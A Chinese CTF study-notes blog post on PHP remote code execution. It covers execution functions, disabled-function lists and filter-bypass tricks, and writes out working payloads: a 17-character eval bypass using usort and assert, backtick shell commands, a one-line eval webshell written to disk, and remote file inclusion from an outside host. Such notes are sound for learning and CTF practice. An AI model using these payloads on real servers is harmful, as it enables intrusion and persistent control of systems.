首页 > 其他分享 >RCE

RCE

时间:2024-12-03 21:16:00浏览次数:4  
标签:echo flag 数组 RCE FF% php 绕过

RCE

php远程代码执行漏洞


PHP命令执行函数:
system(),exec(),shell_exec(),pcntl_exec(),popen(),proc_popen(),passthru()等
    
常被禁用的函数: exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents"

一、函数

简介

​ RCE又称远程代码执行漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

PHP代码执行函数:
eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()、等

assert

// PHP 5
assert ( mixed $assertion [, string $description ] ) : bool
 
// PHP 7
assert ( mixed $assertion [, Throwable $exception ] ) : bool
//参数 assertion 既支持表达式,也支持表达式字符串(某些特定的场景会用到,比如判断某个字符串表达式是否合法)

版本的不兼容
    PHP >= 5.4.8,description 可作为第四个参数提供给 ASSERT_CALLBACK 模式里的回调函数
    在 PHP 5 中,参数 assertion(断言) 必须是可执行的字符串,或者运行结果为布尔值的表达式
    在 PHP 7 中,参数 assertion 可以是任意表达式,并用其运算结果作为断言的依据
    在 PHP 7 中,参数 exception 可以是个 Throwable 对象,用于捕获表达式运行错误或断言结果为失败。(当然 assert.exception 需开启)
    PHP >= 7.0.0,支持 zend.assertions、assert.exception 相关配置及其特性
    PHP >= 7.2 版本开始,参数 assertion 不再支持字符串

    

php函数替代

php中的'ls': 

scandir(directory,sorting_order,context); 函数返回指定目录中的文件和目录的数组。
directory:必需,规定要扫描的目录。
    
利用data伪协议:
?page=data://text/plain,<?php print_r(scandir('/var/www')); ?>
    
其他php常用函数
1. getcwd() 返回当前目录的路径,但是不回显,需要 echo 或者 print 来输出
2. glob($pattern, $flags):根据指定模式匹配获取与之匹配的文件或目录列表。$pattern 参数是一个通配符模式,支持 * 和 ? 等通配符,例如 *.txt 匹配所有以 .txt 结尾的文件。如果要获取文件和目录,可以使用 * 作为通配符。$flags 参数是一个可选参数,用于设置匹配模式和排序规则等。
3. chdir() :函数改变当前的目录。
4. hightlight_file() 、 show_source() 、 readfile():读取文件内容  
5. dirname() :函数返回路径中的目录部分

7. file_get_contents($filename) 是 PHP 中一个常用的文件操作函数,它可以返回指定文件的内容
	Payload:?page=data://text/plain,<?php $a=file_get_contents('flag.php'); echo $a; ?>
6. htmlspecialchars(string)返回string中的除html标签以外的字符串
7. localeconv() :返回一包含本地数字及货币格式信息的数组。(但是这里数组第一项就是‘.’,这个.的用处很大)
    
其他:
1.array_reverse():将数组内容反转
2.strrev():用于反转给定字符串
3.current() :返回数组中的单元,默认取第一个值。pos()和current()是同一个东西

4.session_id() 获取当前会话ID,也就是说它可以抓取PHPSESSID后面的东西 // 需要开启session_start()
5.strtolower() 字符串字母转小写      
        
end() : 将内部指针指向数组中的最后一个元素,并输出
next() :将内部指针指向数组中的下一个元素,并输出
prev() :将内部指针指向数组中的上一个元素,并输出
reset() : 将内部指针指向数组中的第一个元素,并输出
each() : 返回当前元素的键名和键值,并将内部指针向前移动

preg_match_all

//代码执行
preg_match_all(
    string $pattern,
    string $subject,
    array &$matches = null,
    int $flags = 0,
    int $offset = 0
): int|false|null

参数
pattern
要搜索的模式,字符串形式。

subject
输入字符串。

matches
多维数组,作为输出参数输出所有匹配结果, 数组排序通过flags指定。

flags
可以结合下面标记使用(注意不能同时使用PREG_PATTERN_ORDER和 PREG_SET_ORDER):

PREG_PATTERN_ORDER

结果排序为$matches[0]保存完整模式的所有匹配, $matches[1] 保存第一个子组的所有匹配,以此类推。
因此下列情况中

(!preg_match_all("/(||&|;| |/|cat|flag|tac|php|ls)/", $str, $pat_array))

可以将rce代码输入到$pat_array中。

shell_exec

shell_exec函数会返回执行结果的全部内容,但是只有返回值没有回显。

shell_exec 与``作用相同,但无回显,需要echo或其他的输出函数使得其回显

#类似的函数:    
exec 函数,无回显
    exec($cmd,$output,$status); //cmd是命令,output储存输出结果,status是执行状态码
	print_r($output);

exec

​ exec执行command命令,但是不会输出全部结果,而是返回结果的最后一行,如果你想得到全部的结果,可以使用第二个参数,让其输出到一个数组,数组的每一个记录代表了输出的每一行。

string exec ( string $command [, array &$output [, int &$return_var ]] )
    
    
<?php
exec('ls /home/xyw/test',$arr);
print_r($arr);
?>

passthru

与exec的区别:passthru直接将结果输出,不返回结果,不用使用echo查看结果。

<?php
$result=passthru("cat /flag");
echo $result; # null

#可以使用system进行返回
$result=system("cat /flag");
echo $result; # flag{manbaout}

二、绕过Waf

分隔参数绕过

eval($_GET['cmd']);

?cmd=$_POST[1]($_POST[2]);
1=system&2=whoami

长度限制

十七字符RCE


<?php
//sleep(100);
if(isset($_REQUEST['code'])){
        $code=$_REQUEST['code'];
        if(strlen($code)<17 && stripos($code,'eval') === false && stripos($code,'assert') === false ){
        eval($code);
        }else{
            echo "the length is wrong";
        }       
}else{
        highlight_file(__FILE__);
}
?>
unsort
 
绕过方法:
    usort绕过:usort(array,my_function):bool,使用用户自定义的函数(返回一个bool值)对数组中的值进行比较,并对数组中值进行排序
	条件:php版本<7.2(PHP >= 7.2 版本开始,断言不再支持字符串)
//…运算符,对就是三个点,该运算符可以将数组(必须是索引数组)或者可遍历的对象展开变为参数
        
    pyload:code=usort(...$_GET); (post)
    ?1[]=test&1[]=phpinfo();&2=assert (get)
//相当于用assert取处理前面数组里面的每一个值,类似于:usort(['test','phpinfo()'],'assert')

    
反引号
php中的反引号
	PHP执行运算符 :PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回。使用反引号运算符`的效果与函数 shell_exec() 相同。
	在 PHP 中,反引号(`)被用作命令替换符号,它的作用是执行命令并获取其输出。当反引号包围的内容被执行时,PHP 将使用操作系统的命令解释器来执行该命令,并将命令的输出作为字符串返回。
注意:
	关闭了 shell_exec() 时反引号运算符是无效的。 
  

pyload: 
code=echo `$_GET[1]`;&1=id
编写一句话木马
?code=echo `$_GET[1]`;&1=touch len1.php

?code=echo `$_GET[1]`;&1=echo '<?php eval($_GET[1]);' > len1.php
    
远程文件包含的利用
正常文件包含include $_GET[1];,这个刚好17个字符,超了一位。

不过,其实include$_GET[1];也是可以运行的,中间的空格可以不要。

这也是一个思路,但限制就是需要开启远程文件包含,但这个选项默认是关闭的。

include包含的所有文件都以php格式运行。
    
code=include$_GET[1];&1=//192.168.xxx.xxx//get.php

本地文件包含的利用
思路:向服务器写入文件并包含
    利用file_put_contents可以将字符一个个地写入一个文件中,大概请求如下:
    ?code=$_GET[a](N,a,8);&a=file_put_contents
    
原理:file_put_contents的第一个参数是文件名,我传入N。PHP会认为N是一个常量,但我之前并没有定义这个常量,于是PHP就会把它转换成字符串'N';第二个参数是要写入的数据,a也被转换成字符串'a';第三个参数是flag,当flag=8的时候内容会追加在文件末尾,而不是覆盖。

	除了 file_put_contents , error_log 函数效果也类似。

	但这个方法有个问题,就是 file_put_contents 第二个参数如果是符号,就会导致PHP出错,比如 :
    	?code=$_GET[a](N,<,8);&a=file_put_contents。
但如果要写webshell的话,“<”等符号又是必不可少的。

	于是微博上 @买贴膜的 想出一个办法,每次向文件'N'中写入一个字母或数字,最后构成一个base64字符串,再包含的时候使用php://filter对base64进行解码即可。(难他天)

标签:echo,flag,数组,RCE,FF%,php,绕过
From: https://www.cnblogs.com/ctfer001/p/18585033

相关文章

  • Educational Codeforces Round 172 (Rated for Div. 2) A ~ D
    EducationalCodeforcesRound172(RatedforDiv.2)广告:starrycoding九折优惠码(FV7B04LL)A思路需要拿至少\(k\)枚硬币.从大到小拿.拿到的硬币最少.题目没有要求补硬币的数目,要求回答的是拿最少硬币时至少补多少.而拿取的最小值最少为\(k\).求从大到小拿取到......
  • Educational Codeforces Round 172 (Rated for Div. 2) D. Recommendations
    算法听别人说这题比较简单,我来看看怎么个事转化题意,对于\(n\)条线段\([l_i,r_i]\),求每条线段被哪些线段完全覆盖,并求这些线段的交集减去其的长度显然的,\(j\)线段覆盖\(i\)线段,应该满足\(l_j\leql_i,r_i\leqr_j\)那么我们考虑将每一条线段当做一个点......
  • Source Insight美化主题(解决美化与汉化冲突的问题)
    Sourceinsight是一款优秀的代码查看神器,功能虽然好用但很多人可能觉得它默认的界面有点过时,SourceInsight是可以通过一些简单的设置来美化和配置的,让它看起来更顺眼、用起来更顺手。下载SourceInsight可以参考这一篇文章Sourceinsight工具安装及使用方法-CSDN博客言归......
  • ResourceBundle详解:Java中的国际化与资源管理
    ResourceBundle详解:Java中的国际化与资源管理在开发多语言支持(国际化,i18n)或需要动态加载资源的应用程序时,ResourceBundle是Java提供的核心类之一。它能够根据用户的语言和地区加载对应的资源文件,从而实现应用的本地化和灵活的配置管理。本文将深入探讨ResourceBundle的使用......
  • 【双堆懒删除】codeforces 1294 D. MEX maximizing
    前言双堆懒删除当需要维护若干元素中的最大值(或最小值)时,可以用一个堆维护,但是堆只擅长处理堆顶元素,对堆中任意元素的处理就束手无策了。此时,可以引入另外一个堆,我们定义原来的堆为保存堆\(ex\),新的堆为懒删除堆\(de\)。那么当需要从保存堆中删除任意一个元素时,可以先将元素放......
  • Educational Codeforces Round 169 (Rated for Div2)
    EducationalCodeforcesRound169(RatedforDiv.2)-CodeforcesProblem-A-Codeforces构造签到题,明显只有\(n\leq2\)的时候有解#include<bits/stdc++.h>usingnamespacestd;constintN=2e5+10;typedefpair<int,int>pii;intn,m;inta[N];voidsolve(......
  • Educational Codeforces Round 171 (Rated for Div
    EducationalCodeforcesRound171(RatedforDiv.2)-CodeforcesProblem-A-Codeforces几何构造没什么好说的,\(45\)度交的时候长度最大#include<bits/stdc++.h>usingnamespacestd;constintN=3e5+10;voidsolve(){ intx,y,k;cin>>x>>y>>k; if(x......
  • 【bluedroid】A2dp Source播放流程源码分析
    在蓝牙音频传输领域,A2DP(AdvancedAudioDistributionProfile,高级音频分发协议)扮演着关键角色,它能够实现高质量音频(如立体声音乐)通过蓝牙在不同设备间的传输。在Android系统所采用的Bluedroid蓝牙协议栈里,A2DPSource承担着音频流发送的重任,将音频数据传输至A2DPSink(像......
  • E. Photoshoot for Gorillas(Codeforces Round 966 (Div. 3))
    https://codeforces.com/contest/2000/problem/E题目描述你非常喜欢屮大猩猩,于是你决定为它们组织一次拍摄活动。大猩猩生活在丛林中,丛林被表示为一个有n行m列的网格,有w个大猩猩同意参与拍摄,第i个大猩猩的身高ai.你希望将所有大猩猩放置在网格的单元格中,并且确保每个单......
  • 代码仓库客户端工具SourceTree的使用和安装
    1.概述        SourceTree是一款由Atlassian开发的图形化Git客户端,它允许用户通过直观的界面来管理Git仓库。下面是一些基本的使用步骤和功能介绍,帮助你开始使用SourceTree:2、SourceTree的使用安装下面是SourceTree的安装地址x​​​​​​​InstallSour......